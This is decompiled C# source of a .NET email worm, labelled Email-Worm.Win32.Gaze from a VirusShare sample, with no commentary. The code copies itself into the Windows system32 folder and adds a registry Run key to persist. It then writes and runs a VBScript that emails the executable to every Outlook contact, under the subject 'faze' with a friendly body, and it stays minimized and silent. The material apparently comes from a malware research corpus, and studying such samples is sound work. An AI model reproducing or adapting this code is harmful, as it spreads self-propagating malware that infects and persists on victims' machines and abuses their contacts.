// Decompiled with JetBrains decompiler // Type: game.Form1 // Assembly: game, Version=1.0.997.22053, Culture=neutral, PublicKeyToken=null // MVID: C1B9288B-F130-4335-97F2-0FD15B3024FA // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Worm.Win32.Gaze-bd5bb1d152b244928cc1e3cb8d3db6ca241749d20a16cf6b7214f27721c8a0d0.exe using Microsoft.Win32; using System; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.IO; using System.Windows.Forms; namespace game { public class Form1 : Form { private Container components = (Container) null; private RegistryKey key = Registry.LocalMachine; private RegistryKey key1; public Form1() { this.InitializeComponent(); try { if (!File.Exists("c:\\WINNT\\system32\\game.exe")) { File.Copy(Directory.GetCurrentDirectory() + "\\game.exe", "c:\\WINNT\\system32\\game.exe", true); this.key1 = this.key.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); this.key1.SetValue("msdosie", (object) "c:\\WINNT\\system32\\game.exe"); this.key1.Close(); } FileStream fileStream = new FileStream("c:\\WINNT\\system32\\mail.vbs", FileMode.Create, FileAccess.Write, FileShare.Write); StreamWriter streamWriter = new StreamWriter((Stream) fileStream); streamWriter.WriteLine("'On Error Resume Next"); streamWriter.WriteLine("Set objOA=Wscript.CreateObject(\"Outlook.Application\")"); streamWriter.WriteLine("Set objMapi=objOA.GetNameSpace(\"MAPI\")"); streamWriter.WriteLine("For i=1 to objMapi.AddressLists.Count"); streamWriter.WriteLine("Set objAddList=objMapi.AddressLists(i)"); streamWriter.WriteLine("For j=1 To objAddList. AddressEntries.Count"); streamWriter.WriteLine("Set objMail=objOA.CreateItem(0)"); streamWriter.WriteLine("objMail.Recipients.Add objAddList.AddressEntries(j)"); streamWriter.WriteLine("objMail.Subject=\"faze\""); streamWriter.WriteLine("objMail.Body=\"How are you today?\""); streamWriter.WriteLine("objMail.Attachments.Add \"c:\\WINNT\\system32\\game.exe\""); streamWriter.WriteLine("objMail.Send"); streamWriter.WriteLine("Next"); streamWriter.WriteLine("Next"); streamWriter.WriteLine("Set objMapi=Nothing"); streamWriter.WriteLine("Set objOA=Nothing"); streamWriter.Flush(); streamWriter.Close(); fileStream.Close(); Process.Start("c:\\WINNT\\system32\\mail.vbs"); } catch { } } protected override void Dispose(bool disposing) { if (disposing && this.components != null) this.components.Dispose(); base.Dispose(disposing); } private void InitializeComponent() { this.AutoScaleBaseSize = new Size(6, 14); this.ClientSize = new Size(292, 273); this.Name = nameof (Form1); this.ShowInTaskbar = false; this.Text = nameof (Form1); this.WindowState = FormWindowState.Minimized; } [STAThread] private static void Main() => Application.Run((Form) new Form1()); } }